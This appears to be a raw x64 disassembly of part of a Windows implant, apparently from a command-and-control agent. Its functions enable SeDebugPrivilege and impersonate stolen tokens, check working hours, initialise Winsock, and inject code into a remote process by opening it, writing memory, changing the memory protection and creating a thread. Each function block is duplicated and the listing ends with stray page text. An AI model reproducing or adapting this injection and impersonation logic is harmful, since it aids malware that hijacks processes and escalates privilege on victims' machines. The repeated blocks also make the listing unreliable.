140015d1cjne 0x140015d51
140015d1elea r9, [rip+0x140f3]
140015d25mov r8l, 1266
140015d2blea rdx, [rip+0x1700e]
140015d32lea rcx, [rip+0x13c8f]
140015d39call printf
140015d3emov edx, 1
140015d43mov ecx, 3
140015d48call PackageTransmitError
140015d4dxor eax, eax
140015d4fjmp 0x140015d61
140015d51
140015d51loc_140015d51:
140015d51mov rcx, rax
140015d54call ImpersonateTokenInStore
140015d59test eax, eax
140015d5bsetne al
140015d5emovzx eax, al
140015d61
140015d61loc_140015d61:
140015d61add rsp, 40
140015d65ret
140015d10
140015d66
140015d66 // align 0x10
140015d66 // align 0x10
140015d70
140015d70ImpersonateTokenInStore:
140015d70test rcx, rcx
140015d73je 0x140015e8c
140015d79push rsi
140015d7amov rsi, rcx
140015d7dpush rbx
140015d7esub rsp, 40
140015d82mov rbx, [rip+0x165e7]
140015d89cmp [rbx+2290], 0
140015d90je 0x140015da5
140015d92mov rax, [rbx+2282]
140015d99mov rax, [rax]
140015d9ccmp [rcx], rax
140015d9fje 0x140015e80
140015da5
140015da5loc_140015da5:
140015da5mov ecx, 1
140015daacall TokenSetSeDebugPriv
140015daftest eax, eax
140015db1jne 0x140015dda
140015db3lea r9, [rip+0x13fc5]
140015dbamov r8l, 1377
140015dc0lea rdx, [rip+0x16919]
140015dc7lea rcx, [rip+0x13bfa]
140015dcecall printf
140015dd3
140015dd3loc_140015dd3:
140015dd3xor eax, eax
140015dd5jmp 0x140015e85
140015dda
140015ddaloc_140015dda:
140015ddacall TokenRevSelf
140015ddftest eax, eax
140015de1je 0x140015e67
140015de7mov rcx, [rsi]
140015deacall SysImpersonateLoggedOnUser
140015defmov r9, [rsi+8]
140015df3lea rdx, [rip+0x168e6]
140015dfatest eax, eax
140015dfcje 0x140015e23
140015dfemov r8l, 1390
140015e04lea rcx, [rip+0x13f9e]
140015e0bmov [rbx+2290], 1
140015e15mov [rbx+2282], rsi
140015e1ccall printf
140015e21jmp 0x140015e80
140015e23
140015e23loc_140015e23:
140015e23xor ecx, ecx
140015e25xor eax, eax
140015e27mov r8l, 1395
140015e2dmov [rbx+2282], rcx
140015e34lea rcx, [rip+0x13fa2]
140015e3bmov [rbx+2290], eax
140015e41call printf
140015e46mov rax, [rbx+2230]
140015e4dmov ecx, 1
140015e52mov edx, [rax+104]
140015e55call PackageTransmitError
140015e5acall TokenRevSelf
140015e5ftest eax, eax
140015e61jne 0x140015dd3
140015e67
140015e67loc_140015e67:
140015e67mov rax, [rbx+2230]
140015e6emov ecx, 1
140015e73mov edx, [rax+104]
140015e76call PackageTransmitError
140015e7bjmp 0x140015dd3
140015e80
140015e80loc_140015e80:
140015e80mov eax, 1
140015e85
140015e85loc_140015e85:
140015e85add rsp, 40
140015e89pop rbx
140015e8apop rsi
140015e8bret
140015e8c
140015e8cloc_140015e8c:
140015e8cxor eax, eax
140015e8eret
140015d70
140015d70ImpersonateTokenInStore:
140015d70test rcx, rcx
140015d73je 0x140015e8c
140015d79push rsi
140015d7amov rsi, rcx
140015d7dpush rbx
140015d7esub rsp, 40
140015d82mov rbx, [rip+0x165e7]
140015d89cmp [rbx+2290], 0
140015d90je 0x140015da5
140015d92mov rax, [rbx+2282]
140015d99mov rax, [rax]
140015d9ccmp [rcx], rax
140015d9fje 0x140015e80
140015da5
140015da5loc_140015da5:
140015da5mov ecx, 1
140015daacall TokenSetSeDebugPriv
140015daftest eax, eax
140015db1jne 0x140015dda
140015db3lea r9, [rip+0x13fc5]
140015dbamov r8l, 1377
140015dc0lea rdx, [rip+0x16919]
140015dc7lea rcx, [rip+0x13bfa]
140015dcecall printf
140015dd3
140015dd3loc_140015dd3:
140015dd3xor eax, eax
140015dd5jmp 0x140015e85
140015dda
140015ddaloc_140015dda:
140015ddacall TokenRevSelf
140015ddftest eax, eax
140015de1je 0x140015e67
140015de7mov rcx, [rsi]
140015deacall SysImpersonateLoggedOnUser
140015defmov r9, [rsi+8]
140015df3lea rdx, [rip+0x168e6]
140015dfatest eax, eax
140015dfcje 0x140015e23
140015dfemov r8l, 1390
140015e04lea rcx, [rip+0x13f9e]
140015e0bmov [rbx+2290], 1
140015e15mov [rbx+2282], rsi
140015e1ccall printf
140015e21jmp 0x140015e80
140015e23
140015e23loc_140015e23:
140015e23xor ecx, ecx
140015e25xor eax, eax
140015e27mov r8l, 1395
140015e2dmov [rbx+2282], rcx
140015e34lea rcx, [rip+0x13fa2]
140015e3bmov [rbx+2290], eax
140015e41call printf
140015e46mov rax, [rbx+2230]
140015e4dmov ecx, 1
140015e52mov edx, [rax+104]
140015e55call PackageTransmitError
140015e5acall TokenRevSelf
140015e5ftest eax, eax
140015e61jne 0x140015dd3
140015e67
140015e67loc_140015e67:
140015e67mov rax, [rbx+2230]
140015e6emov ecx, 1
140015e73mov edx, [rax+104]
140015e76call PackageTransmitError
140015e7bjmp 0x140015dd3
140015e80
140015e80loc_140015e80:
140015e80mov eax, 1
140015e85
140015e85loc_140015e85:
140015e85add rsp, 40
140015e89pop rbx
140015e8apop rsi
140015e8bret
140015e8c
140015e8cloc_140015e8c:
140015e8cxor eax, eax
140015e8eret
140015d70
140015e8f
140015e8f // align 0x10
140015e8f // align 0x10
140015e90
140015e90InWorkingHours:
140015e90push rdi
140015e91xor eax, eax
140015e93push rsi
140015e94push rbx
140015e95sub rsp, 48
140015e99mov [rsp+32], rax
140015e9emov [rsp+40], rax
140015ea3mov rax, [rip+0x164c6]
140015eaamov ebx, [rax+132]
140015eb0bt rbx, 22
140015eb4jb 0x140015ebd
140015eb6
140015eb6loc_140015eb6:
140015eb6mov eax, 1
140015ebbjmp 0x140015f0f
140015ebd
140015ebdloc_140015ebd:
140015ebdmov esi, ebx
140015ebfmov edi, ebx
140015ec1lea rcx, [rsp+32]
140015ec6call [rax+1140]
140015eccshr esi, 6
140015ecfmov edx, [rsp+40]
140015ed3shr edi, 17
140015ed6and esi, 31
140015ed9and edi, 31
140015edccmp si, dx
140015edfjb 0x140015f0d
140015ee1cmp dx, di
140015ee4jb 0x140015f0d
140015ee6jne 0x140015ef9
140015ee8mov ecx, ebx
140015eeaxor eax, eax
140015eecshr ecx, 11
140015eefand ecx, 63
140015ef2cmp [rsp+42], cx
140015ef7jb 0x140015f0f
140015ef9
140015ef9loc_140015ef9:
140015ef9cmp dx, si
140015efcjne 0x140015eb6
140015efexor eax, eax
140015f00and ebx, 63
140015f03cmp bx, [rsp+42]
140015f08setae al
140015f0bjmp 0x140015f0f
140015f0d
140015f0dloc_140015f0d:
140015f0dxor eax, eax
140015f0f
140015f0floc_140015f0f:
140015f0fadd rsp, 48
140015f13pop rbx
140015f14pop rsi
140015f15pop rdi
140015f16ret
140015e90
140015e90InWorkingHours:
140015e90push rdi
140015e91xor eax, eax
140015e93push rsi
140015e94push rbx
140015e95sub rsp, 48
140015e99mov [rsp+32], rax
140015e9emov [rsp+40], rax
140015ea3mov rax, [rip+0x164c6]
140015eaamov ebx, [rax+132]
140015eb0bt rbx, 22
140015eb4jb 0x140015ebd
140015eb6
140015eb6loc_140015eb6:
140015eb6mov eax, 1
140015ebbjmp 0x140015f0f
140015ebd
140015ebdloc_140015ebd:
140015ebdmov esi, ebx
140015ebfmov edi, ebx
140015ec1lea rcx, [rsp+32]
140015ec6call [rax+1140]
140015eccshr esi, 6
140015ecfmov edx, [rsp+40]
140015ed3shr edi, 17
140015ed6and esi, 31
140015ed9and edi, 31
140015edccmp si, dx
140015edfjb 0x140015f0d
140015ee1cmp dx, di
140015ee4jb 0x140015f0d
140015ee6jne 0x140015ef9
140015ee8mov ecx, ebx
140015eeaxor eax, eax
140015eecshr ecx, 11
140015eefand ecx, 63
140015ef2cmp [rsp+42], cx
140015ef7jb 0x140015f0f
140015ef9
140015ef9loc_140015ef9:
140015ef9cmp dx, si
140015efcjne 0x140015eb6
140015efexor eax, eax
140015f00and ebx, 63
140015f03cmp bx, [rsp+42]
140015f08setae al
140015f0bjmp 0x140015f0f
140015f0d
140015f0dloc_140015f0d:
140015f0dxor eax, eax
140015f0f
140015f0floc_140015f0f:
140015f0fadd rsp, 48
140015f13pop rbx
140015f14pop rsi
140015f15pop rdi
140015f16ret
140015e90
140015f17
140015f17 // align 0x10
140015f17 // align 0x10
140015f20
140015f20InitWSA:
140015f20push rdi
140015f21mov ecx, 102
140015f26xor eax, eax
140015f28push rsi
140015f29push rbx
140015f2asub rsp, 448
140015f31mov rbx, [rip+0x16438]
140015f38lea rdi, [rsp+40]
140015f3drep stosd [rdi], eax
140015f3fmov esi, [rbx+12]
140015f42test esi, esi
140015f44je 0x140015f4d
140015f46
140015f46loc_140015f46:
140015f46mov esi, 1
140015f4bjmp 0x140015fad
140015f4d
140015f4dloc_140015f4d:
140015f4dlea rdi, [rip+0x1737c]
140015f54lea r9, [rip+0x12e05]
140015f5bmov r8l, 41
140015f61mov rdx, rdi
140015f64lea rcx, [rip+0x12de1]
140015f6bcall printf
140015f70lea rdx, [rsp+40]
140015f75mov ecx, 514
140015f7acall [rbx+1844]
140015f80mov r9l, eax
140015f83test eax, eax
140015f85je 0x140015fa4
140015f87mov r8l, 45
140015f8dmov rdx, rdi
140015f90lea rcx, [rip+0x12de0]
140015f97call printf
140015f9ccall [rbx+1852]
140015fa2jmp 0x140015fad
140015fa4
140015fa4loc_140015fa4:
140015fa4mov [rbx+12], 1
140015fabjmp 0x140015f46
140015fad
140015fadloc_140015fad:
140015fadadd rsp, 448
140015fb4mov eax, esi
140015fb6pop rbx
140015fb7pop rsi
140015fb8pop rdi
140015fb9ret
140015f20
140015f20InitWSA:
140015f20push rdi
140015f21mov ecx, 102
140015f26xor eax, eax
140015f28push rsi
140015f29push rbx
140015f2asub rsp, 448
140015f31mov rbx, [rip+0x16438]
140015f38lea rdi, [rsp+40]
140015f3drep stosd [rdi], eax
140015f3fmov esi, [rbx+12]
140015f42test esi, esi
140015f44je 0x140015f4d
140015f46
140015f46loc_140015f46:
140015f46mov esi, 1
140015f4bjmp 0x140015fad
140015f4d
140015f4dloc_140015f4d:
140015f4dlea rdi, [rip+0x1737c]
140015f54lea r9, [rip+0x12e05]
140015f5bmov r8l, 41
140015f61mov rdx, rdi
140015f64lea rcx, [rip+0x12de1]
140015f6bcall printf
140015f70lea rdx, [rsp+40]
140015f75mov ecx, 514
140015f7acall [rbx+1844]
140015f80mov r9l, eax
140015f83test eax, eax
140015f85je 0x140015fa4
140015f87mov r8l, 45
140015f8dmov rdx, rdi
140015f90lea rcx, [rip+0x12de0]
140015f97call printf
140015f9ccall [rbx+1852]
140015fa2jmp 0x140015fad
140015fa4
140015fa4loc_140015fa4:
140015fa4mov [rbx+12], 1
140015fabjmp 0x140015f46
140015fad
140015fadloc_140015fad:
140015fadadd rsp, 448
140015fb4mov eax, esi
140015fb6pop rbx
140015fb7pop rsi
140015fb8pop rdi
140015fb9ret
140015f20
140015fba
140015fba // align 0x10
140015fba // align 0x10
140015fc0
140015fc0Inject:
140015fc0push r15
140015fc2xor eax, eax
140015fc4push r14
140015fc6mov r14l, ecx
140015fc9push r13
140015fcbpush r12
140015fcdmov r12l, r9l
140015fd0push rbp
140015fd1push rdi
140015fd2push rsi
140015fd3mov esi, r8l
140015fd6push rbx
140015fd7mov rbx, rdx
140015fdasub rsp, 72
140015fdetest rdx, rdx
140015fe1mov [rsp+60], eax
140015fe5sete r13b
140015fe9test r8l, r8l
140015fecjne 0x140015ffc
140015feemov ebp, 2
140015ff3test r13b, r13b
140015ff6jne 0x1400163c6
140015ffc
140015ffcloc_140015ffc:
140015ffcmov rax, [rsp+176]
140016004or rax, [rsp+184]
14001600cmov ebp, 2
140016011je 0x1400163c6
140016017test rbx, rbx
14001601amov rbp, [rip+0x1634f]
140016021jne 0x140016087
140016023mov edx, 0x1fffff
140016028mov ecx, esi
14001602acall ProcessOpen
14001602fmov rbx, rax
140016032test rax, rax
140016035jne 0x140016064
140016037mov rax, [rbp+2230]
14001603emov r8l, 57
140016044xor esi, esi
140016046xor edi, edi
140016048lea rdx, [rip+0x16d41]
14001604flea rcx, [rip+0x1497a]
140016056mov r9l, [rax+104]
14001605acall printf
14001605fjmp 0x1400161fc
140016064
140016064loc_140016064:
140016064mov [rsp+32], rax
140016069mov r9l, esi
14001606cmov r8l, 61
140016072lea rdx, [rip+0x16d17]
140016079lea rcx, [rip+0x1498c]
140016080call printf
140016085jmp 0x1400160a3
140016087
140016087loc_140016087:
140016087mov r9, rbx
14001608amov r8l, 64
140016090lea rdx, [rip+0x16cf9]
140016097lea rcx, [rip+0x149a8]
14001609ecall printf
1400160a3
1400160a3loc_1400160a3:
1400160a3test r12l, r12l
1400160a6lea r15, [rip+0x149e5]
1400160adje 0x1400160c5
1400160afcmp [rbp+88], 0
1400160b4lea r9, [rip+0x149c8]
1400160bbmov r8l, 69
1400160c1jne 0x1400160e7
1400160c3jmp 0x140016100
1400160c5
1400160c5loc_1400160c5:
1400160c5mov rcx, rbx
1400160c8call ProcessIsWow
1400160cdcmp [rbp+88], 9
1400160d2jne 0x140016120
1400160d4test eax, eax
1400160d6jne 0x140016120
1400160d8lea r9, [rip+0x149ea]
1400160dfmov r8l, 81
1400160e5jmp 0x140016100
1400160e7
1400160e7loc_1400160e7:
1400160e7mov rcx, rbx
1400160eacall ProcessIsWow
1400160eftest eax, eax
1400160f1je 0x140016120
1400160f3lea r9, [rip+0x149ac]
1400160famov r8l, 77
140016100
140016100loc_140016100:
140016100lea rdx, [rip+0x16c89]
140016107mov rcx, r15
14001610axor esi, esi
14001610cxor edi, edi
14001610ecall printf
140016113xor r12l, r12l
140016116mov ebp, 3
14001611bjmp 0x140016362
140016120
140016120loc_140016120:
140016120mov r8, [rsp+184]
140016128mov r9l, 4
14001612emov rdx, rbx
140016131xor ecx, ecx
140016133call MemoryAlloc
140016138lea r9, [rip+0x149ad]
14001613fmov r8l, 88
140016145mov rdi, rax
140016148test rax, rax
14001614bje 0x1400161eb
140016151mov r9, rax
140016154mov r8l, 91
14001615alea rdx, [rip+0x16c2f]
140016161lea rcx, [rip+0x149b8]
140016168call printf
14001616dmov r9, [rsp+184]
140016175mov rdx, rdi
140016178mov rcx, rbx
14001617bmov r8, [rsp+176]
140016183call MemoryWrite
140016188lea r9, [rip+0x149d6]
14001618fmov r8l, 96
140016195test eax, eax
140016197je 0x1400161eb
140016199mov r9, [rsp+184]
1400161a1mov r8l, 99
1400161a7lea rdx, [rip+0x16be2]
1400161aelea rcx, [rip+0x149e5]
1400161b5call printf
1400161bamov r8, rdi
1400161bdmov rdx, rbx
1400161c0mov ecx, 2
1400161c5mov [rsp+32], 32
1400161cdmov r9, [rsp+184]
1400161d5call MemoryProtect
1400161datest eax, eax
1400161dcjne 0x140016204
1400161delea r9, [rip+0x149fd]
1400161e5mov r8l, 104
1400161eb
1400161ebloc_1400161eb:
1400161eblea rdx, [rip+0x16b9e]
1400161f2mov rcx, r15
1400161f5xor esi, esi
1400161f7call printf
1400161fc
1400161fcloc_1400161fc:
1400161fcxor r12l, r12l
1400161ffjmp 0x14001635d
140016204
140016204loc_140016204:
140016204lea r9, [rip+0x14a03]
14001620bmov r8l, 107
140016211lea rdx, [rip+0x16b78]
140016218mov rcx, r15
14001621bcall printf
140016220cmp [rsp+200], 0
140016229je 0x1400162ea
14001622fcmp [rsp+208], 0
140016238je 0x1400162ea
14001623emov r8, [rsp+208]
140016246mov r9l, 4
14001624cmov rdx, rbx
14001624fxor ecx, ecx
140016251call MemoryAlloc
140016256lea r9, [rip+0x149e2]
14001625dmov r8l, 115
140016263mov rsi, rax
140016266test rax, rax
140016269je 0x1400161eb
14001626bmov r9, rax
14001626emov r8l, 118
140016274lea rdx, [rip+0x16b15]
14001627blea rcx, [rip+0x149fa]
140016282call printf
140016287mov r9, [rsp+208]
14001628fmov rdx, rsi
140016292mov rcx, rbx
140016295mov r8, [rsp+200]
14001629dcall MemoryWrite
1400162a2test eax, eax
1400162a4jne 0x1400162c7
1400162a6lea r9, [rip+0x14a1d]
1400162admov r8l, 123
1400162b3lea rdx, [rip+0x16ad6]
1400162bamov rcx, r15
1400162bdcall printf
1400162c2jmp 0x1400161fc
1400162c7
1400162c7loc_1400162c7:
1400162c7mov r9, [rsp+208]
1400162cfmov r8l, 126
1400162d5lea rdx, [rip+0x16ab4]
1400162dclea rcx, [rip+0x14a1d]
1400162e3call printf
1400162e8jmp 0x1400162ec
1400162ea
1400162ealoc_1400162ea:
1400162eaxor esi, esi
1400162ec
1400162ecloc_1400162ec:
1400162eclea rax, [rsp+60]
1400162f1mov [rsp+32], rsi
1400162f6mov r8l, r12l
1400162f9mov rdx, rbx
1400162fcmov [rsp+40], rax
140016301mov rax, [rsp+192]
140016309movzx ecx, r14b
14001630dlea r9, [rdi+rax]
140016311call ThreadCreate
140016316lea rdx, [rip+0x16a73]
14001631dtest rax, rax
140016320mov r12, rax
140016323je 0x140016340
140016325mov r9l, [rsp+60]
14001632amov r8l, 133
140016330lea rcx, [rip+0x14a12]
140016337xor ebp, ebp
140016339call printf
14001633ejmp 0x140016362
140016340
140016340loc_140016340:
140016340mov rax, [rbp+2230]
140016347mov r8l, 135
14001634dlea rcx, [rip+0x14a47]
140016354mov r9l, [rax+104]
140016358call printf
14001635d
14001635dloc_14001635d:
14001635dmov ebp, 1
140016362
140016362loc_140016362:
140016362lea r9, [rip+0x14a6e]
140016369mov r8l, 139
14001636flea rdx, [rip+0x16a1a]
140016376lea rcx, [rip+0x14715]
14001637dcall printf
140016382cmp ebp, 1
140016385jne 0x1400163a7
140016387test rdi, rdi
14001638aje 0x140016397
14001638cmov rdx, rdi
14001638fmov rcx, rbx
140016392call MemoryFree
140016397
140016397loc_140016397:
140016397test rsi, rsi
14001639aje 0x1400163a7
14001639cmov rdx, rsi
14001639fmov rcx, rbx
1400163a2call MemoryFree
1400163a7
1400163a7loc_1400163a7:
1400163a7test rbx, rbx
1400163aaje 0x1400163b9
1400163actest r13b, r13b
1400163afje 0x1400163b9
1400163b1mov rcx, rbx
1400163b4call SysNtClose
1400163b9
1400163b9loc_1400163b9:
1400163b9test r12, r12
1400163bcje 0x1400163c6
1400163bemov rcx, r12
1400163c1call SysNtClose
1400163c6
1400163c6loc_1400163c6:
1400163c6add rsp, 72
1400163camov eax, ebp
1400163ccpop rbx
1400163cdpop rsi
1400163cepop rdi
1400163cfpop rbp
1400163d0pop r12
1400163d2pop r13
1400163d4pop r14
1400163d6pop r15
1400163d8ret
140015fc0
140015fc0Inject:
140015fc0push r15
140015fc2xor eax, eax
140015fc4push r14
140015fc6mov r14l, ecx
140015fc9push r13
140015fcbpush r12
140015fcdmov r12l, r9l
140015fd0push rbp
140015fd1push rdi
140015fd2push rsi
140015fd3mov esi, r8l
140015fd6push rbx
140015fd7mov rbx, rdx
140015fdasub rsp, 72
140015fdetest rdx, rdx
140015fe1mov [rsp+60], eax
140015fe5sete r13b
140015fe9test r8l, r8l
140015fecjne 0x140015ffc
140015feemov ebp, 2
140015ff3test r13b, r13b
140015ff6jne 0x1400163c6
140015ffc
140015ffcloc_140015ffc:
140015ffcmov rax, [rsp+176]
140016004or rax, [rsp+184]
14001600cmov ebp, 2
140016011je 0x1400163c6
140016017test rbx, rbx
14001601amov rbp, [rip+0x1634f]
140016021jne 0x140016087
140016023mov edx, 0x1fffff
140016028mov ecx, esi
14001602acall ProcessOpen
14001602fmov rbx, rax
140016032test rax, rax
140016035jne 0x140016064
140016037mov rax, [rbp+2230]
14001603emov r8l, 57
140016044xor esi, esi
140016046xor edi, edi
140016048lea rdx, [rip+0x16d41]
14001604flea rcx, [rip+0x1497a]
140016056mov r9l, [rax+104]
14001605acall printf
14001605fjmp 0x1400161fc
140016064
140016064loc_140016064:
140016064mov [rsp+32], rax
140016069mov r9l, esi
14001606cmov r8l, 61
140016072lea rdx, [rip+0x16d17]
140016079lea rcx, [rip+0x1498c]
140016080call printf
140016085jmp 0x1400160a3
140016087
140016087loc_140016087:
140016087mov r9, rbx
14001608amov r8l, 64
140016090lea rdx, [rip+0x16cf9]
140016097lea rcx, [rip+0x149a8]
14001609ecall printf
1400160a3
1400160a3loc_1400160a3:
1400160a3test r12l, r12l
1400160a6lea r15, [rip+0x149e5]
1400160adje 0x1400160c5
1400160afcmp [rbp+88], 0
1400160b4lea r9, [rip+0x149c8]
1400160bbmov r8l, 69
1400160c1jne 0x1400160e7
1400160c3jmp 0x140016100
1400160c5
1400160c5loc_1400160c5:
1400160c5mov rcx, rbx
1400160c8call ProcessIsWow
1400160cdcmp [rbp+88], 9
1400160d2jne 0x140016120
1400160d4test eax, eax
1400160d6jne 0x140016120
1400160d8lea r9, [rip+0x149ea]
1400160dfmov r8l, 81
1400160e5jmp 0x140016100
1400160e7
1400160e7loc_1400160e7:
1400160e7mov rcx, rbx
1400160eacall ProcessIsWow
1400160eftest eax, eax
1400160f1je 0x140016120
1400160f3lea r9, [rip+0x149ac]
1400160famov r8l, 77
140016100
140016100loc_140016100:
140016100lea rdx, [rip+0x16c89]
140016107mov rcx, r15
14001610axor esi, esi
14001610cxor edi, edi
14001610ecall printf
140016113xor r12l, r12l
140016116mov ebp, 3
14001611bjmp 0x140016362
140016120
140016120loc_140016120:
140016120mov r8, [rsp+184]
140016128mov r9l, 4
14001612emov rdx, rbx
140016131xor ecx, ecx
140016133call MemoryAlloc
140016138lea r9, [rip+0x149ad]
14001613fmov r8l, 88
140016145mov rdi, rax
140016148test rax, rax
14001614bje 0x1400161eb
140016151mov r9, rax
140016154mov r8l, 91
14001615alea rdx, [rip+0x16c2f]
140016161lea rcx, [rip+0x149b8]
140016168call printf
14001616dmov r9, [rsp+184]
140016175mov rdx, rdi
140016178mov rcx, rbx
14001617bmov r8, [rsp+176]
140016183call MemoryWrite
140016188lea r9, [rip+0x149d6]
14001618fmov r8l, 96
140016195test eax, eax
140016197je 0x1400161eb
140016199mov r9, [rsp+184]
1400161a1mov r8l, 99
1400161a7lea rdx, [rip+0x16be2]
1400161aelea rcx, [rip+0x149e5]
1400161b5call printf
1400161bamov r8, rdi
1400161bdmov rdx, rbx
1400161c0mov ecx, 2
1400161c5mov [rsp+32], 32
1400161cdmov r9, [rsp+184]
1400161d5call MemoryProtect
1400161datest eax, eax
1400161dcjne 0x140016204
1400161delea r9, [rip+0x149fd]
1400161e5mov r8l, 104
1400161eb
1400161ebloc_1400161eb:
1400161eblea rdx, [rip+0x16b9e]
1400161f2mov rcx, r15
1400161f5xor esi, esi
1400161f7call printf
1400161fc
1400161fcloc_1400161fc:
1400161fcxor r12l, r12l
1400161ffjmp 0x14001635d
140016204
140016204loc_140016204:
140016204lea r9, [rip+0x14a03]
14001620bmov r8l, 107
140016211lea rdx, [rip+0x16b78]
140016218mov rcx, r15
14001621bcall printf
140016220cmp [rsp+200], 0
140016229je 0x1400162ea
14001622fcmp [rsp+208], 0
140016238je 0x1400162ea
14001623emov r8, [rsp+208]
140016246mov r9l, 4
14001624cmov rdx, rbx
14001624fxor ecx, ecx
140016251call MemoryAlloc
140016256lea r9, [rip+0x149e2]
14001625dmov r8l, 115
140016263mov rsi, rax
140016266test rax, rax
140016269je 0x1400161eb
14001626bmov r9, rax
14001626emov r8l, 118
140016274lea rdx, [rip+0x16b15]
14001627blea rcx, [rip+0x149fa]
140016282call printf
140016287mov r9, [rsp+208]
14001628fmov rdx, rsi
140016292mov rcx, rbx
140016295mov r8, [rsp+200]
14001629dcall MemoryWrite
1400162a2test eax, eax
1400162a4jne 0x1400162c7
1400162a6lea r9, [rip+0x14a1d]
1400162admov r8l, 123
1400162b3lea rdx, [rip+0x16ad6]
1400162bamov rcx, r15
1400162bdcall printf
1400162c2jmp 0x1400161fc
1400162c7
1400162c7loc_1400162c7:
1400162c7mov r9, [rsp+208]
1400162cfmov r8l, 126
1400162d5lea rdx, [rip+0x16ab4]
1400162dclea rcx, [rip+0x14a1d]
1400162e3call printf
1400162e8jmp 0x1400162ec
1400162ea
1400162ealoc_1400162ea:
1400162eaxor esi, esi
1400162ec
1400162ecloc_1400162ec:
1400162eclea rax, [rsp+60]
1400162f1mov [rsp+32], rsi
1400162f6mov r8l, r12l
1400162f9mov rdx, rbx
1400162fcmov [rsp+40], rax
140016301mov rax, [rsp+192]
140016309movzx ecx, r14b
14001630dlea r9, [rdi+rax]
140016311call ThreadCreate
140016316lea rdx, [rip+0x16a73]
14001631dtest rax, rax
140016320mov r12, rax
140016323je 0x140016340
140016325mov r9l, [rsp+60]
14001632amov r8l, 133
140016330lea rcx, [rip+0x14a12]
140016337xor ebp, ebp
140016339call printf
14001633ejmp 0x140016362
140016340
140016340loc_140016340:
140016340mov rax, [rbp+2230]
140016347mov r8l, 135
14001634dlea rcx, [rip+0x14a47]
140016354mov r9l, [rax+104]
140016358call printf
14001635d
14001635dloc_14001635d:
14001635dmov ebp, 1
140016362
140016362loc_140016362:
140016362lea r9, [rip+0x14a6e]
140016369mov r8l, 139
14001636flea rdx, [rip+0x16a1a]
140016376lea rcx, [rip+0x14715]
14001637dcall printf
140016382cmp ebp, 1
140016385jne 0x1400163a7
140016387test rdi, rdi
14001638aje 0x140016397
14001638cmov rdx, rdi
14001638fmov rcx, rbx
140016392call MemoryFree
140016397
140016397loc_140016397:
140016397test rsi, rsi
14001639aje 0x1400163a7
14001639cmov rdx, rsi
14001639fmov rcx, rbx
1400163a2call MemoryFree
1400163a7
1400163a7loc_1400163a7:
1400163a7test rbx, rbx
1400163aaje 0x1400163b9
1400163actest r13b, r13b
1400163afje 0x1400163b9
1400163b1mov rcx, rbx
1400163b4call SysNtClose
1400163b9
1400163b9loc_1400163b9:
1400163b9test r12, r12
1400163bcje 0x1400163c6
1400163bemov rcx, r12
1400163c1call SysNtClose
1400163c6
1400163c6loc_1400163c6:
1400163c6add rsp, 72
1400163camov eax, ebp
1400163ccpop rbx
1400163cdpop rsi
1400163cepop rdi
1400163cfpop rbp
1400163d0pop r12
1400163d2pop r13
1400163d4pop r14
1400163d6pop r15
1400163d8ret
140015fc0
Loading..